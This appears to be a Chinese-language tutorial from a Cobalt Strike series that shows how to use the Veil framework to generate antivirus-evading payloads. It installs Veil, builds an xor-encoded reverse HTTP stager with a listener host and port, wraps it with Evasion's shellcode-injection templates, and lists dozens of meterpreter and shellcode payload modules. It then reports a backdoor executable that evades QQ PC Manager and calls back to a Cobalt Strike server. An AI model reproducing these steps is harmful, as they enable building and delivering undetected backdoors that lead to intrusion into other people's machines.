9. Cobalt Strike番外之Veil规避框架
Veil-Evasion
Veil安装
Veil 是一个流行的框架,用于生成可以通过某些防病毒产品的可执行文件。其安装的方法有两种:第一种直接从github下载整个项目,但是下载的项目似乎许久都没有维护了,这也是我一直安装失败的原因,故我采用第二种安装方式;使用apt-get install veil命令安装,后可以直接在命令行中输入veil运行。
github下载安装:
运行../setup/setup.sh便可以自动安装
安装后,运行../Veil-Evasion.py便可以运行Veil进程
apt安装:
- 执行apt-get install veil,遇到所有的相关软件安装都直接next
- 安装完毕后,运行veil后会自己执行更新
Veil使用方式
打开Veil-Evasion
Veil提供了两种工具,Ordnance用于生成一段载荷,Evasion用于文件免杀。
首先看看Ordance的使用方法,在“ Veil>: ”视图下键入以下命令:
Veil>: use 2
//使用工具OrdnanceVeil>: list payloads
//查看可加载的6个payload1
2
3
4
5
61) bind_tcp => Bind TCP Stager (Stage 1)
2) rev_http => Reverse HTTP Stager (Stage 1)
3) rev_https => Reverse HTTPS Stager (Stage 1)
4) rev_tcp => Reverse TCP Stager (Stage 1)
5) rev_tcp_all_ports => Reverse TCP All Ports Stager (Stage 1)
6) rev_tcp_dns => Reverse TCP DNS Stager (Stage 1)Veil/Ordnance>: list encoders
//查看一种编码的方式1
xor => Single byte Xor Encoder
Veil/Ordnance>: use 2
//使用rev_http载荷[rev_http>>]: set LHOST 192.168.222.134
[rev_http>>]: set LPORT 4444
[rev_http>>]: set Encoder xor //设置编码方式
[rev_http>>]: generate //生成载荷
接着看看Evasion工具:
Veil>: use 1
//使用工具EvasionVeil/Evasion>: list
//查看可用的Payload1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
411) autoit/shellcode_inject/flat.py
2) auxiliary/coldwar_wrapper.py
3) auxiliary/macro_converter.py
4) auxiliary/pyinstaller_wrapper.py
5) c/meterpreter/rev_http.py
6) c/meterpreter/rev_http_service.py
7) c/meterpreter/rev_tcp.py
8) c/meterpreter/rev_tcp_service.py
9) cs/meterpreter/rev_http.py
10) cs/meterpreter/rev_https.py
11) cs/meterpreter/rev_tcp.py
12) cs/shellcode_inject/base64.py
13) cs/shellcode_inject/virtual.py
14) go/meterpreter/rev_http.py
15) go/meterpreter/rev_https.py
16) go/meterpreter/rev_tcp.py
17) go/shellcode_inject/virtual.py
18) lua/shellcode_inject/flat.py
19) perl/shellcode_inject/flat.py
20) powershell/meterpreter/rev_http.py
21) powershell/meterpreter/rev_https.py
22) powershell/meterpreter/rev_tcp.py
23) powershell/shellcode_inject/psexec_virtual.py
24) powershell/shellcode_inject/virtual.py
25) python/meterpreter/bind_tcp.py
26) python/meterpreter/rev_http.py
27) python/meterpreter/rev_https.py
28) python/meterpreter/rev_tcp.py
29) python/shellcode_inject/aes_encrypt.py
30) python/shellcode_inject/arc_encrypt.py
31) python/shellcode_inject/base64_substitution.py
32) python/shellcode_inject/des_encrypt.py
33) python/shellcode_inject/flat.py
34) python/shellcode_inject/letter_substitution.py
35) python/shellcode_inject/pidinject.py
36) python/shellcode_inject/stallion.py
37) ruby/meterpreter/rev_http.py
38) ruby/meterpreter/rev_https.py
39) ruby/meterpreter/rev_tcp.py
40) ruby/shellcode_inject/base64.py
41) ruby/shellcode_inject/flat.pyVeil/Evasion>: use 1
//这里使用shellcode_inject的方式,也就是你要手动输入shellcode的载荷。[autoit/shellcode_inject/flat>>]: generate
粘贴之前生成的载荷,生成对应的文件
测试生成文件的免杀性
从某种角度上来讲,该方式是具有一定的免杀性
VirusTotal的检出率为31/72
Veil实战演示
Veil生成后门
- 我这里使用了C语言的方式编写生成后门
开启Cobalt Strike服务器,侦听本地192.168.222.134:3542
在目标主机上开启一定的病毒查杀软件:QQ电脑管家
QQ电脑管家没有检出带有风险exe,导致payload回连。
- Cobalt Strike生成Veil的载荷,这里就提一下,毕竟Veil可通过Ordnance生成载荷。